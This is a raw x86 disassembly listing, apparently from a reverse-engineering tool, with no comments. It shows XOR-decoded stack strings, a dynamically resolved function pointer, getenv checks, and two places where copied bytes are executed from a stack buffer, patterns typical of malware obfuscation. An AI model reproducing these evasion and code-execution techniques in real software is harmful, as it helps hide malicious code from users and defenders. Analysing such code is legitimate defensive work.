mov dword [ebp - 0x57], 0x5675654b
mov dword [ebp - 0x53], 0x456e676a
mov dword [ebp - 0x4f], 0x7e677d68
mov eax, ecx
mov esi, 0xd
xor edx, edx
div esi
xor byte [ebp + ecx - 0x63], dl
inc ecx
cmp ecx, 0x18
jne 0x42d2db
lea ecx, [ebp - 0x64]
mov edi, 0xb
call fcn.004313d0
mov eax, ecx
call fcn.0042aa74
mov edx, ebx
call fcn.0042a79c
mov dword [ebp - 0x64], 0x66677346
mov esi, dword [0x4e8930]
mov ecx, 0xb
mov dword [ebp - 0x60], 0x74686a47
mov dword [ebp - 0x5c], 0x6f6567
mov eax, ecx
xor edx, edx
div edi
xor byte [ebp + ecx - 0x6f], dl
inc ecx
cmp ecx, 0x16
jne 0x42d32b
mov ecx, ebx
lea edi, [ebp - 0x64]
call fcn.004313d0
mov eax, ebx
call fcn.0042aa74
mov dword [esp + 4], edi
mov dword [esp], eax
call esi
xor esi, esi
push ecx
push ecx
mov dword [0x4e8920], eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push edi
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8610]
test al, al
jne 0x42d3b9
mov dword [esp], 0x4e8610
call fcn.004d5a00
test eax, eax
je 0x42d3b9
mov dword [esp], ebx
mov ecx, 0x4ed518
call fcn.0043167c
push edx
mov dword [esp], 0x4d6a28
call fcn.004013f0
mov dword [esp], 0x4e8610
call fcn.004d5ad0
mov ecx, 0x4ed518
call fcn.0043164c
mov dword [esp], 0x4ed518
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8618]
test al, al
jne 0x42d420
mov dword [esp], 0x4e8618
call fcn.004d5a00
test eax, eax
je 0x42d420
mov dword [esp], ebx
mov ecx, 0x4ed524
call fcn.0043167c
push eax
mov dword [esp], 0x4d6a60
call fcn.004013f0
mov dword [esp], 0x4e8618
call fcn.004d5ad0
mov ecx, 0x4ed524
call fcn.0043164c
mov dword [esp], 0x4ed524
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8620]
test al, al
jne 0x42d487
mov dword [esp], 0x4e8620
call fcn.004d5a00
test eax, eax
je 0x42d487
mov dword [esp], ebx
mov ecx, 0x4ed530
call fcn.0043167c
push eax
mov dword [esp], 0x4d6a8c
call fcn.004013f0
mov dword [esp], 0x4e8620
call fcn.004d5ad0
mov ecx, 0x4ed530
call fcn.0043164c
mov dword [esp], 0x4ed530
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8628]
test al, al
jne 0x42d4ee
mov dword [esp], 0x4e8628
call fcn.004d5a00
test eax, eax
je 0x42d4ee
mov dword [esp], ebx
mov ecx, 0x4ed53c
call fcn.0043167c
push eax
mov dword [esp], 0x4d6ab4
call fcn.004013f0
mov dword [esp], 0x4e8628
call fcn.004d5ad0
mov ecx, 0x4ed53c
call fcn.0043164c
mov dword [esp], 0x4ed53c
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8630]
test al, al
jne 0x42d555
mov dword [esp], 0x4e8630
call fcn.004d5a00
test eax, eax
je 0x42d555
mov dword [esp], ebx
mov ecx, 0x4ed548
call fcn.0043167c
push eax
mov dword [esp], 0x4d6adc
call fcn.004013f0
mov dword [esp], 0x4e8630
call fcn.004d5ad0
mov ecx, 0x4ed548
call fcn.0043164c
mov dword [esp], 0x4ed548
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8638]
test al, al
jne 0x42d5bc
mov dword [esp], 0x4e8638
call fcn.004d5a00
test eax, eax
je 0x42d5bc
mov dword [esp], ebx
mov ecx, 0x4ed554
call fcn.0043167c
push eax
mov dword [esp], 0x4d6b04
call fcn.004013f0
mov dword [esp], 0x4e8638
call fcn.004d5ad0
mov ecx, 0x4ed554
call fcn.0043164c
mov dword [esp], 0x4ed554
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8640]
test al, al
jne 0x42d623
mov dword [esp], 0x4e8640
call fcn.004d5a00
test eax, eax
je 0x42d623
mov dword [esp], ebx
mov ecx, 0x4ed560
call fcn.0043167c
push edi
mov dword [esp], 0x4d6b30
call fcn.004013f0
mov dword [esp], 0x4e8640
call fcn.004d5ad0
mov ecx, 0x4ed560
call fcn.0043164c
mov dword [esp], 0x4ed560
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8648]
test al, al
jne 0x42d68a
mov dword [esp], 0x4e8648
call fcn.004d5a00
test eax, eax
je 0x42d68a
mov dword [esp], ebx
mov ecx, 0x4ed56c
call fcn.0043167c
push esi
mov dword [esp], 0x4d6b64
call fcn.004013f0
mov dword [esp], 0x4e8648
call fcn.004d5ad0
mov ecx, 0x4ed56c
mov esi, 0x4e7100
mov edi, ebx
call fcn.0043164c
mov dword [esp], 0x4ed56c
call fcn.00424ea0
mov ecx, 0x3f
mov dword [ebp - 0x64], 0x69502612
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4e8650]
test al, al
jne 0x42d6f4
mov dword [esp], 0x4e8650
call fcn.004d5a00
test eax, eax
je 0x42d6f4
mov dword [esp], ebx
mov ecx, 0x4ed580
call fcn.00431614
push ecx
mov dword [esp], 0x4d6b84
call fcn.004013f0
mov dword [esp], 0x4e8650
call fcn.004d5ad0
mov ecx, 0x4ed580
call fcn.004315e4
mov dword [esp], 0x4ed580
call sub.msvcrt.dll_getenv
test eax, eax
je 0x42d77a
lea eax, [ebp - 0x64]
call eax
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8660]
test al, al
jne 0x42d764
mov dword [esp], 0x4e8660
call fcn.004d5a00
test eax, eax
je 0x42d764
mov dword [esp], ebx
mov ecx, 0x4ed5cc
call fcn.0043167c
push edx
mov dword [esp], 0x4d6c24
call fcn.004013f0
mov dword [esp], 0x4e8660
call fcn.004d5ad0
mov ecx, 0x4ed5cc
call fcn.0043164c
mov dword [esp], 0x4ed5cc
call fcn.00424ea0
call dword [0x4e8920]
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8668]
test al, al
jne 0x42d7d1
mov dword [esp], 0x4e8668
call fcn.004d5a00
test eax, eax
je 0x42d7d1
mov dword [esp], ebx
mov ecx, 0x4ed5d8
call fcn.0043167c
push eax
mov dword [esp], 0x4d6c4c
call fcn.004013f0
mov dword [esp], 0x4e8668
call fcn.004d5ad0
mov ecx, 0x4ed5d8
call fcn.0043164c
mov dword [esp], 0x4ed5d8
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8670]
test al, al
jne 0x42d838
mov dword [esp], 0x4e8670
call fcn.004d5a00
test eax, eax
je 0x42d838
mov dword [esp], ebx
mov ecx, 0x4ed5e4
call fcn.0043167c
push eax
mov dword [esp], 0x4d6c74
call fcn.004013f0
mov dword [esp], 0x4e8670
call fcn.004d5ad0
mov ecx, 0x4ed5e4
call fcn.0043164c
mov dword [esp], 0x4ed5e4
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8678]
test al, al
jne 0x42d89f
mov dword [esp], 0x4e8678
call fcn.004d5a00
test eax, eax
je 0x42d89f
mov dword [esp], ebx
mov ecx, 0x4ed5f0
call fcn.0043167c
push eax
mov dword [esp], 0x4d6ca0
call fcn.004013f0
mov dword [esp], 0x4e8678
call fcn.004d5ad0
mov ecx, 0x4ed5f0
call fcn.0043164c
mov dword [esp], 0x4ed5f0
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8680]
test al, al
jne 0x42d906
mov dword [esp], 0x4e8680
call fcn.004d5a00
test eax, eax
je 0x42d906
mov dword [esp], ebx
mov ecx, 0x4ed5fc
call fcn.0043167c
push eax
mov dword [esp], 0x4d6ccc
call fcn.004013f0
mov dword [esp], 0x4e8680
call fcn.004d5ad0
mov ecx, 0x4ed5fc
call fcn.0043164c
mov dword [esp], 0x4ed5fc
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8688]
test al, al
jne 0x42d96d
mov dword [esp], 0x4e8688
call fcn.004d5a00
test eax, eax
je 0x42d96d
mov dword [esp], ebx
mov ecx, 0x4ed608
call fcn.0043167c
push eax
mov dword [esp], 0x4d6cf4
call fcn.004013f0
mov dword [esp], 0x4e8688
call fcn.004d5ad0
mov ecx, 0x4ed608
call fcn.0043164c
mov dword [esp], 0x4ed608
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e8690]
test al, al
jne 0x42d9d4
mov dword [esp], 0x4e8690
call fcn.004d5a00
test eax, eax
je 0x42d9d4
mov dword [esp], ebx
mov ecx, 0x4ed614
call fcn.0043167c
push edi
mov dword [esp], 0x4d6d1c
call fcn.004013f0
mov dword [esp], 0x4e8690
call fcn.004d5ad0
mov ecx, 0x4ed614
call fcn.0043164c
mov dword [esp], 0x4ed614
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e86a0]
test al, al
jne 0x42da3b
mov dword [esp], 0x4e86a0
call fcn.004d5a00
test eax, eax
je 0x42da3b
mov dword [esp], ebx
mov ecx, 0x4ed62c
call fcn.0043167c
push esi
mov dword [esp], 0x4d6d44
call fcn.004013f0
mov dword [esp], 0x4e86a0
call fcn.004d5ad0
mov ecx, 0x4ed62c
call fcn.0043164c
mov dword [esp], 0x4ed62c
call fcn.00424ea0
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e86a8]
test al, al
jne 0x42daa2
mov dword [esp], 0x4e86a8
call fcn.004d5a00
test eax, eax
je 0x42daa2
mov dword [esp], ebx
mov ecx, 0x4ed638
call fcn.0043167c
push ecx
mov dword [esp], 0x4d6d78
call fcn.004013f0
mov dword [esp], 0x4e86a8
call fcn.004d5ad0
mov ecx, 0x4ed638
mov esi, 0x4e7100
mov edi, ebx
call fcn.0043164c
mov dword [esp], 0x4ed638
call fcn.00424ea0
mov ecx, 0x3f
mov dword [ebp - 0x64], 0x7d602e16
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4e86b0]
test al, al
jne 0x42db0c
mov dword [esp], 0x4e86b0
call fcn.004d5a00
test eax, eax
je 0x42db0c
mov dword [esp], ebx
mov ecx, 0x4ed660
call fcn.00431614
push edx
mov dword [esp], 0x4d6d98
call fcn.004013f0
mov dword [esp], 0x4e86b0
call fcn.004d5ad0
mov ecx, 0x4ed660
call fcn.004315e4
mov dword [esp], 0x4ed660
call sub.msvcrt.dll_getenv
test eax, eax
je 0x42db92
lea eax, [ebp - 0x64]
call eax
mov dword [ebp - 0x57], 0xc1eb1542
mov dword [ebp - 0x53], 0x7c90ec48
mov byte [ebp - 0x4f], 0x42
mov al, byte [0x4e86b8]
test al, al
jne 0x42db7c
mov dword [esp], 0x4e86b8
call fcn.004d5a00
test eax, eax
je 0x42db7c
mov dword [esp], ebx
mov ecx, 0x4ed6a0
call fcn.0043167c
push eax
mov dword [esp], 0x4d6e38
call fcn.004013f0
mov dword [esp], 0x4e86b8
call fcn.004d5ad0
mov ecx, 0x4ed6a0
call fcn.0043164c
mov dword [esp], 0x4ed6a0
call fcn.00424ea0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret